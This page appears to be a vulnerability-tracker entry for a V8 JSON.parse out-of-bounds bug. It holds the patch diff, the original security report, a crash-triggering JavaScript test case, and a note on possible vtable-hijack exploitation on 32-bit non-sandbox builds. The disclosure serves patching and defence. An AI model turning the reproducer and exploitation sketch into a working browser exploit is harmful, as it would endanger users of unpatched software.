Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in V8
DescriptionInappropriate implementation in V8
ComponentV8
Bug ClassLogic Error
Tracker452296415
Fix commit50eba5e6c269 (v8/v8) +50/-29
CISA KEVNot listed
CreditedGoogle Big Sleep
Disclosed2025-10-28

Files Changed

  • src/json/json-parser.cc
  • src/json/json-parser.h
From 50eba5e6c269c71d6e0e758b84fafe8d5c37d210 Mon Sep 17 00:00:00 2001
From: pthier <[email protected]>
Date: Thu, 16 Oct 2025 15:16:31 +0200
Subject: [PATCH] [json] Parser: Early return if Expect() fails

Expect()/ExpectNext() used to simply set the cursor to the end of the
input if the expectation failed.
The issue is that a failed expectation can trigger a GC due to
allocation of the Exception object.
To avoid surprises, Expect() and ExpectNext() now return a bool value
indicating if the expectation failed. Checking of this value is enforced
and all current usages are replaced by a Macro that returns early if an
exception was thrown.

Drive-by: Also force checking the return value of Check().

Fixed: 452296415
Change-Id: I513955f1ea0eb44cd0a59eb2aa57caee8f3082fb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7048404
Reviewed-by: Igor Sheludko <[email protected]>
Commit-Queue: Patrick Thier <[email protected]>
Cr-Commit-Position: refs/heads/main@{#103167}
---

diff --git a/src/json/json-parser.cc b/src/json/json-parser.cc
index 12ad632..f96fa8e 100644
--- a/src/json/json-parser.cc
+++ b/src/json/json-parser.cc
@@ -130,6 +130,15 @@
 #undef CALL_GET_SCAN_FLAGS
 };
 
+#define EXPECT_RETURN_ON_ERROR(token, msg, ret) \
+  if (V8_UNLIKELY(!Expect(token, msg))) {       \
+    return ret;                                 \
+  }
+#define EXPECT_NEXT_RETURN_ON_ERROR(token, msg, ret) \
+  if (V8_UNLIKELY(!ExpectNext(token, msg))) {        \
+    return ret;                                      \
+  }
+
 }  // namespace
 
 MaybeHandle<Object> JsonParseInternalizer::Internalize(
@@ -1539,8 +1548,9 @@
 
 template <typename Char>
 bool JsonParser<Char>::ParseJsonPropertyValue(const JsonString& key) {
-  ExpectNext(JsonToken::COLON,
-             MessageTemplate::kJsonParseExpectedColonAfterPropertyName);
+  EXPECT_NEXT_RETURN_ON_ERROR(
+      JsonToken::COLON,
+      MessageTemplate::kJsonParseExpectedColonAfterPropertyName, false);
   Handle<Object> value;
   if (V8_UNLIKELY(!ParseJsonValueRecursive().ToHandle(&value))) return false;
   property_stack_.emplace_back(key, value);
@@ -1586,7 +1596,7 @@
   using FastIterableState = DescriptorArray::FastIterableState;
   if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
     do {
-      ExpectNext(JsonToken::STRING, first_token_msg);
+      EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
       first_token_msg =
           MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
       JsonString key = ScanJsonPropertyKey(cont);
@@ -1596,7 +1606,7 @@
     DCHECK_GT(descriptors->number_of_descriptors(), 0);
     InternalIndex idx{0};
     do {
-      ExpectNext(JsonToken::STRING, first_token_msg);
+      EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
       first_token_msg =
           MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
       bool key_match;
@@ -1764,7 +1774,8 @@
     return {};
   }
 
-  Expect(JsonToken::RBRACE, MessageTemplate::kJsonParseExpectedCommaOrRBrace);
+  EXPECT_RETURN_ON_ERROR(JsonToken::RBRACE,
+                         MessageTemplate::kJsonParseExpectedCommaOrRBrace, {});
   Handle<Object> result = BuildJsonObject<false>(cont, feedback);
   property_stack_.resize(cont.index);
   return cont.scope.CloseAndEscape(result);
@@ -1810,8 +1821,9 @@
       SkipWhitespace();
       continue;
     } else {
-      Expect(JsonToken::RBRACK,
-             MessageTemplate::kJsonParseExpectedCommaOrRBrack);
+      EXPECT_RETURN_ON_ERROR(JsonToken::RBRACK,
+                             MessageTemplate::kJsonParseExpectedCommaOrRBrack,
+                             {});
       success = true;
       break;
     }
@@ -1879,7 +1891,8 @@
     element_stack_.emplace_back(value);
   }
 
-  Expect(JsonToken::RBRACK, MessageTemplate::kJsonParseExpectedCommaOrRBrack);
+  EXPECT_RETURN_ON_ERROR(JsonToken::RBRACK,
+                         MessageTemplate::kJsonParseExpectedCommaOrRBrack, {});
   Handle<Object> result = BuildJsonArray(start);
   element_stack_.resize(start);
   return handle_scope.CloseAndEscape(result);
@@ -1987,15 +2000,17 @@
                                   property_stack_.size());
 
           // Parse the property key.
-          ExpectNext(JsonToken::STRING,
-                     MessageTemplate::kJsonParseExpectedPropNameOrRBrace);
+          EXPECT_NEXT_RETURN_ON_ERROR(
+              JsonToken::STRING,
+              MessageTemplate::kJsonParseExpectedPropNameOrRBrace, {});
           property_stack_.emplace_back(ScanJsonPropertyKey(&cont));
           if constexpr (should_track_json_source) {
             property_val_node_stack.emplace_back(Handle<Object>());
           }
 
-          ExpectNext(JsonToken::COLON,
-                     MessageTemplate::kJsonParseExpectedColonAfterPropertyName);
+          EXPECT_NEXT_RETURN_ON_ERROR(
+              JsonToken::COLON,
+              MessageTemplate::kJsonParseExpectedColonAfterPropertyName, {});
 
           // Continue to start producing the first property value.
           continue;
@@ -2091,17 +2106,18 @@
 
           if (V8_LIKELY(Check(JsonToken::COMMA))) {
             // Parse the property key.
-            ExpectNext(
+            EXPECT_NEXT_RETURN_ON_ERROR(
                 JsonToken::STRING,
-                MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName);
+                MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName,
+                {});
 
             property_stack_.emplace_back(ScanJsonPropertyKey(&cont));
             if constexpr (should_track_json_source) {
               property_val_node_stack.emplace_back(Handle<Object>());
             }
-            ExpectNext(
+            EXPECT_NEXT_RETURN_ON_ERROR(
                 JsonToken::COLON,
-                MessageTemplate::kJsonParseExpectedColonAfterPropertyName);
+                MessageTemplate::kJsonParseExpectedColonAfterPropertyName, {});
 
             // Break to start producing the subsequent property value.
             break;
@@ -2121,8 +2137,9 @@
             }
           }
           value = BuildJsonObject<should_track_json_source>(cont, feedback);
-          Expect(JsonToken::RBRACE,
-                 MessageTemplate::kJsonParseExpectedCommaOrRBrace);
+          EXPECT_RETURN_ON_ERROR(
+              JsonToken::RBRACE,
+              MessageTemplate::kJsonParseExpectedCommaOrRBrace, {});
           // Return the object.
           if constexpr (should_track_json_source) {
             size_t start = cont.index;
@@ -2172,8 +2189,9 @@
           if (V8_LIKELY(Check(JsonToken::COMMA))) break;
 
           value = BuildJsonArray(cont.index);
-          Expect(JsonToken::RBRACK,
-                 MessageTemplate::kJsonParseExpectedCommaOrRBrack);
+          EXPECT_RETURN_ON_ERROR(
+              JsonToken::RBRACK,
+              MessageTemplate::kJsonParseExpectedCommaOrRBrack, {});
           // Return the array.
           if constexpr (should_track_json_source) {
             size_t start = cont.index;
diff --git a/src/json/json-parser.h b/src/json/json-parser.h
index 988593a..cb55bfb 100644
--- a/src/json/json-parser.h
+++ b/src/json/json-parser.h
@@ -244,23 +244,26 @@
     advance();
   }
 
-  void Expect(JsonToken token,
-              std::optional<MessageTemplate> errorMessage = std::nullopt) {
+  V8_WARN_UNUSED_RESULT bool Expect(
+      JsonToken token,
+      std::optional<MessageTemplate> errorMessage = std::nullopt) {
     if (V8_LIKELY(peek() == token)) {
       advance();
-    } else {
-      errorMessage ? ReportUnexpectedToken(peek(), errorMessage.value())
-                   : ReportUnexpectedToken(peek());
+      return true;
     }
+    errorMessage ? ReportUnexpectedToken(peek(), errorMessage.value())
+                 : ReportUnexpectedToken(peek());
+    return false;
   }
 
Loading diff…

Original Bug Report

reported by [email protected]

V8: Out-of-bounds access in JSON.parse

We are tracking this issue with the public ID BIGSLEEP-452319320. Please use this identifier for reference in any future communication.

Vulnerability Details

This is a variant of crbug.com/423459708.

Consider the code of ParseJsonObjectProperties, used by JSON.parse to process object literals:

bool JsonParser<Char>::ParseJsonObjectProperties(
    JsonContinuation* cont, MessageTemplate first_token_msg,
    Handle<DescriptorArray> descriptors) {  // ==1==
   ...
  } else {
    DCHECK_GT(descriptors->number_of_descriptors(), 0);
    InternalIndex idx{0};
    do {
      ExpectNext(JsonToken::STRING, first_token_msg);    // ==2==
      first_token_msg =
          MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
      bool key_match;
      if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
        uint32_t key_length;
        {
          DisallowGarbageCollection no_gc;
          Tagged<String> expected_key = Cast<String>(descriptors->GetKey(idx));  // ==3==
          Tagged<Map> key_map = expected_key->map();
          // Fast iterable keys are guaranteed to be 1-byte.
          const uint8_t* expected_chars =
              GetFastKeyChars(isolate_, expected_key, key_map, no_gc);  // ==4==
          key_length = expected_key->length();
          key_match = FastKeyMatch(expected_chars, key_length);
        }
        ...

For object literals, the JSON parser can use a “feedback” object as template [1]. This is useful when parsing multiple (likely similar) objects inside an array literal. Specifically, the parser will keep a reference to the feedback object’s DescriptorArray (at ==1==) and check if the new object has the same properties.

With issue 423459708, the problem was that garbage collection (GC) could happen during JSON parsing which could shrink the DescriptorArray. As the parsing code used to cache the number of descriptors, this would subsequently lead to an out-of-bounds access into the DescriptorArray. The fix [2] for that issue was to reload the number of descriptors in each iteration to guard against ParseJsonPropertyValue() triggering GC. However, there is another way to trigger GC: during execution of ExpectNext (at ==2==), which, in case of malformed JSON, can allocate a SyntaxError object on the heap [3] which can in turn trigger GC. Instead of aborting, ExpectNext will only set a pending exception and advance to the end of the input [4]. As such, the next part of the JSON parsing code, where the access into the DescriptorArray happens, is still executed. This then similarly leads to an out-of-bounds access when loading the expected_key (at ==3==) as demonstrated by the testcase below.

Exploitation of this issue may be possible on non-sandbox builds (specifically, 32-bit): GetFastKeyChars [5] (at ==4==) can, for the case of an ExternalString, end up invoking a virtual function (specifically data() on the associated resource object [6]). As such, if an attacker can cause the out-of-bounds access to read a fake ExternalString object, this would lead to a controlled vtable call. However, when the sandbox is enabled, the resource object will be obtained through the external pointer table [7], which guarantees that the result will be an invalid pointer or a valid resource object, rendering this approach infeasible.

[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=1737;drc=be082f4011a9fe520f9463949be9096101d875e7
[2] https://chromium-review.git.corp.google.com/c/v8/v8/+/6632608
[3] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=545;drc=be082f4011a9fe520f9463949be9096101d875e7
[4] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=548;drc=be082f4011a9fe520f9463949be9096101d875e7
[5] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/json/json-parser.cc;l=1552;drc=be082f4011a9fe520f9463949be9096101d875e7
[6] https://source.chromium.org/chromium/chromium/src/+/main:v8/include/v8-primitive.h;l=405;drc=be082f4011a9fe520f9463949be9096101d875e7
[7] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/string-inl.h;l=1448;drc=be082f4011a9fe520f9463949be9096101d875e7

Affected Version(s)

The issue has been successfully reproduced:

  • at HEAD (commit de86034ae78261f1b15ec93ccdf5cecfe175f466)
  • in stable release 14.1.146.11 (commit ad8af0fc661d278e87627fcaa3a7cf795ee80dd8)

Reproduction

Test Case

function makeJsonAndSetupMaps() {
  let o1 = { str: "A" };
  const length = 32;
  let o2 = { str: "B".repeat(length) };
  o2.f = {};
  let arr = [o1, o2];
  JSON.stringify(arr);
  return o1;
}

const feedback_obj = makeJsonAndSetupMaps();
const length = 32;
const long_str = "C".repeat(length);
const json_prefix = '[{"str":"A"}, {"str":"' + long_str + '", ';
// The syntax error: expected string (property key for the second property "f") but got ']'.
const json_suffix = ']]';
const json = json_prefix + json_suffix;

// We want GC to happen during ReportUnexpectedToken when the syntax error is encountered.
// The exact number might depend on the configuration and platform.
%SetAllocationTimeout(1, 18);

try {
  JSON.parse(json);
} catch (e) {
  print("Failed to trigger bug");
}

Build Instructions

Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:

gm.py x64.debug

Command

./out/x64.debug/d8 --allow-natives-syntax crash.js

ASan Report


#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 222
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#
#
#
#FailureMessage Object: 0x7ffdaa0f8b98
==== C stack trace ===============================
    v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f36edfc0d7e]
    v8/v8/out/x64.debug/libv8_libplatform.so(+0x4a31d) [0x7f36edf2d31d]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x205) [0x7f36edf99415]
    v8/v8/out/x64.debug/libv8_libbase.so(+0x4ddcc) [0x7f36edf98dcc]
    v8/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7f36edf994ed]
    v8/v8/out/x64.debug/libv8.so(v8::internal::DescriptorArray::GetKey(v8::internal::PtrComprCageBase, v8::internal::InternalIndex) const+0x6e) [0x7f36e8820abe]
    v8/v8/out/x64.debug/libv8.so(v8::internal::DescriptorArray::GetKey(v8::internal::InternalIndex) const+0x65) [0x7f36e88208c5]
    v8/v8/out/x64.debug/libv8.so(bool v8::internal::JsonParser<unsigned char>::ParseJsonObjectProperties<(v8::internal::DescriptorArray::FastIterableState)3>(v8::internal::JsonParser<unsigned char>::JsonContinuation*, v8::internal::MessageTemplate, v8::internal::Handle<v8::internal::DescriptorArray>)+0x22d) [0x7f36e93dfccd]
    v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJsonObject(v8::internal::Handle<v8::internal::Map>)+0x31e) [0x7f36e93dcfce]
    v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJsonValueRecursive(v8::internal::Handle<v8::internal::Map>)+0x180) [0x7f36e93d9ef0]
    v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJsonArray()+0xbe5) [0x7f36e93ddd15]
    v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJsonValueRecursive(v8::internal::Handle<v8::internal::Map>)+0x18f) [0x7f36e93d9eff]
    v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::ParseJson(v8::internal::DirectHandle<v8::internal::Object>)+0xe6) [0x7f36e93d7296]
    v8/v8/out/x64.debug/libv8.so(v8::internal::JsonParser<unsigned char>::Parse(v8::internal::Isolate*, v8::internal::Handle<v8::internal::String>, v8::internal::Handle<v8::internal::Object>, std::__Cr::optional<v8::internal::ScriptDetails>)+0x154) [0x7f36e93d6f94]
    v8/v8/out/x64.debug/libv8.so(+0x82afe16) [0x7f36e88afe16]
    v8/v8/out/x64.debug/libv8.so(v8::internal::Builtin_JsonParse(int, unsigned long*, v8::internal::Isolate*)+0xd3) [0x7f36e88afba3]
    [0x7f36636a8d7d]

Reporter Credit

Google Big Sleep

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-01-13.

For more information, visit https://goo.gle/bigsleep

View on issue tracker